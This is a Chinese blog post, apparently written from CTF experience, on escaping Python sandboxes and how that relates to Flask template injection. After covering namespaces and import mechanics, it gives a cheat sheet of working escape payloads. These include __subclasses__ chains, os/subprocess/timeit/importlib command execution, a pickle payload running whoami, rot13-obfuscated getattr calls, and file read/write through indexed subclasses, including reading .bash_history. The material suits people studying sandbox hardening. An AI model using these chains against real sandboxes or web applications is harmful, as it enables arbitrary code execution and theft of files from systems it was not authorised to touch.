Python沙箱逃逸

Python沙箱逃逸

这个话题网上已经有相当多的文章了, 记得我第一次遇到Python沙箱的问题还是去年的校赛的时候, 但是到现在已经很久没有见到过Python沙箱的问题出现了。不过刚好前段时间的Flask模板注入这个契机让我想到了这个问题, 感觉两者还是有一些相似的地方的, 所以就趁热打铁再展开一下Python沙箱逃逸这个问题吧。
嗯...文章写完了发现有点水file


导入模块

Python的环境可以说就是各种各样的库集结而成的, 所以说我们如果想要使用某个函数方法执行命令的话就肯定首先要导入模块了。

导入模块的方法:

  • import [module_name]
  • from [module_name] import * 这是我们最常用的导入方法了
  • import("[module_name]")
  • import sys
    • sys["module_name"] = "pyfile_path"
  • exec(open('pyfile_path').read())
  • execfile('pyfile_path') # Python2

先了解一下什么是命名空间:

在一个Python程序中的任何一个地方,都存在几个可用的命名空间。每个函数都有着自已的命名空间,叫做局部命名空间,它记录了函数的变量,包括 函数的参数和局部定义的变量。每个模块拥有它自已的命名空间,叫做全局命名空间,它记录了模块的变量,包括函数、类、其它导入的模块、模块级的变量和常 量。还有就是内置命名空间,任何模块均可访问它,它存放着内置的函数和异常。
如果程序中想要使用一个变量, 在各个空间中的查找顺序为:

  1. 本地(local),特指当前函数或类的方法。如果函数定义了一个局部变量 x,Python将使用这个变量,然后停止搜索。

  2. 封闭(Eclosing):在函数体内定义了一个新的函数。

  3. 全局(Global):特指当前的模块。如果模块定义了一个名为 x 的变量,函数或类,Python将使用这个变量然后停止搜索。

  4. 内置(Built-in):对每个模块都是全局的。作为最后的尝试,Python将假设 x 是内置函数或变量。

  5. 如果Python在这些名字空间找不到 x,它将放弃查找并引发一个 NameError 的异常,同时传 递 There is no variable named ‘x’ 这样一条信息

    Tips: 局部名字空间可以通过内置的 locals 函数来访问。全局(模块级别)名字空间可以通过 globals 函数来访问。两个返回的都是字典dict类型。

那么接下来就说一下各种导入模块的方法在命名空间上的区别:

  1. 通过 import 导入时,会先判断 sys.modules 的dict中是否已经加载了该模块,如果没有加载则 从 sys.path 目录中按照模块名查找 py 或 pyc 或 pyd 文件,找到后将其载入内存并添加至 sys.modules 中,再将模块名称导入Local命名空间
  2. 若 a.py 中存在 import b ,则在 import a 时 ab 两个模块都会添加至 sys.modules 中,但仅 将 a 导入Local命名空间
  3. 通过 from x import y 时,则将 x 添加至 sys.modules 中,将 y 导入Local命名空间
  4. 导入模块时会执行相应文件

如果我们想要找到危险模块进行利用, 那么首先要区别使用的是python2还是python3, 因为两者有着不小的区别:

在Python3中所有的类都默认继承自 object 类,继承 object 的全部方法。在Python2中类默认
为 classobj ,只有 ['__doc__', '__module__'] 两个方法

而我们在SSTI模板注入当中, 一般遇到的都是python2, 我们通过一些魔法函数获得object之后就可以为所欲为了, 在这里也是一样的思路, 如果想要寻找危险模块(方法)可以将object作为顶级的父亲节点向下寻找。

寻找危险模块

这是一些可以用于寻找利用点的魔法函数(属性)

__class__  返回类型所属的对象
// __base__和__mro__都是用来寻找基类的
__mro__    返回一个包含对象所继承的基类元组和方法在解析时按照元组的顺序解析。(继承链)
__base__   返回该对象所继承的基类
__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
//通过以上几个魔法函数找到可利用的模块和object父类

__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

//__dir__()和__dict__可以帮助我们找到需要类方法
__dir__()   更多的可以参考这个文章类特殊成员/函数https://www.cnblogs.com/twotigers/p/7779501.html
__dict__    为了方便用户查看类中包含哪些属性,Python 类提供了 __dict__ 属性。需要注意的一点是,该属性可以用类名或者类的实例对象来调用,用类名直接调用 __dict__,会输出该由类中所有类属性组成的字典;而使用类的实例对象调用 __dict__,会输出由类中所有实例属性组成的字典。

至于具体的怎么找到object父类可以参考另一篇文章h0cksr's_Blog - SSTI模板注入Plus | Bypass在这里我给出了很多种经过Bypass寻找基本类object的方法, 所以在这里就不过多赘述了

Python类的protected类型、private类型及内部变量使用规范命名分别以 _name 、 __name 、 __name__ 的形 式命名,但这仅是一种代码风格规范,并未在语言层面作任何限制

嗯....写着写着我才发现,,,,,其实Python沙箱的绕过和SSTI模板注入基板上没有任何本质上的区别, 都是寻找到object父类之后直接开始导入各种模板, 例如 object 的某个派生类中的危险方法 object 的某个派生类导入的危险模块中的危险函数 object 某个派生类导入的标准库模块间接导入的危险模块的危险方法

我在这里还是直接列出一些我常用和从网上直接扒的一些调用链总结一下放到这里当备用吧, 至于说想要全部找出来的话, 那是基本不可能的, 感兴趣的师傅可以直接使用我之前写的一个找可用链工具h0cksr's_Blog - SSTI 模板注入 | 一个找可利用类的小脚本来直接搜寻危险函数(上面我说了,这两者都是找到object后向下寻找危险模块和函数, 所以本质上并没有太大的区别)

链子真的太多了, 完全不想自己找了,,,,,刚刚花了五分钟就找到四条读取文件操作的链子.........

直接搜索open_file都能找到3个类的open_file函数,直接搜索file或者eval,exec这些的话数据更是会直接多达数百条

dd小工具见我另一篇文章(还是那句话, 虽然是ssti, 但是本质上并没有任何差别):h0cksr's_Blog - SSTI 模板注入 | 一个找可利用类的小脚本

image-20220324225115560

image-20220324225517971

真的懒了懒了,写完回宿舍了,直接拿之前SSTI的帖上来

命令执行

import ()函数

__import__("os").system("ls")COPY

timeit模块

import timeit
timeit.timeit("__import__('os').system('ls')",number=1)COPY

exec(),eval(),execfile(),compile()函数

eval('__import__("os").system("ls")')
exec("a+1")
compile('a = 1 + 2', '<string>', 'exec')
execfile()  #只存在于Python2,Python3没有该函数COPY

platform模块

import platform
platform.popen('dir').read()COPY

os模块

import os
os.system('ls')
os.popen("ls").read()

包含os模块的类:
<class 'site._Printer'>
<class 'site.Quitter'>
os.system 退出状态码
os.popen 以file形式返回输出内容COPY

subprocess模块

import subprocess
subprocess.Popen('ls', shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT).stdout.read()COPY

importlib模块

import importlib
importlib.import_module('os').system('ls')
#Python3可以,Python2没有该函数
importlib.__import__('os').system('ls')COPY

文件读取

file()函数

file('test.txt').read()
#注意:该函数只存在于Python2,Python3不存在COPY

open()函数

open('text.txt').read()COPY

codecs模块

import codecs
codecs.open('test.txt').read()COPY

get_data()函数

# _frozen_importlib_external.FileLoader.get_data(0,<filename>)
"".__class__.__bases__[0].__subclasses__()[91].get_data(0,"app.py")COPY

写文件

object.__subclasses__()[40]('/tmp').write('test')

一些网上师傅们的:

os.system('whoami')
os.popen('whoami').read()
# Python2
os.popen2('whoami').read()
os.popen3('whoami').read()

subprocess.call('whoami', shell=True)
subprocess.check_call('whoami', shell=True)
subprocess.check_output('whoami', shell=True)
subprocess.Popen('whoami', shell=True)
# Python3
subprocess.run('whoami', shell=True)
subprocess.getoutput('whoami')
subprocess.getstatusoutput('whoami')


platform.popen('whoami').read()

# Python2
commands.getoutput('whoami')
commands.getstatusoutput('whoami')
timeit.timeit("__import__('os').system('whoami')", number=1)
# timeit.sys
importlib.import_module('os').system('whoami')
# Python3
importlib.__import__('os').system('whoami')
pickle.loads(b"cos\nsystem\n(S'whoami'\ntR.")
eval("__import__('os').system('whoami')")
exec("__import__('os').system('whoami')")
exec(compile("__import__('os').system('whoami')", '', 'exec'))
getattr(os, codecs.encode("flfgrz",'rot13'))('whoami')
# Linux
pty.spawn('whoami')
pty.os.system('whoami')
# 文件操作
open('.bash_history').read()
linecache.getlines('.bash_history')
# Python2
file('.bash_history').read()
types.FileType('.bash_history').read()
commands.getstatus('.bash_history')
# 函数参数
foo.__code__.co_argcount
# Python2
foo.func_code.co_argcount
# 函数字节码
foo.__code__.co_code
# Python2
foo.func_code.co_code

__builtins__.__dict__['__import__']
__builtins__.__dict__['eval']
__builtins__.__dict__['exec']
__builtins__.__dict__['execfile']
__builtins__.__dict__['getattr']
__builtins__.__dict__['input']

posted @ 2022-04-25 12:36  h0cksr  阅读(730)  评论(0编辑  收藏  举报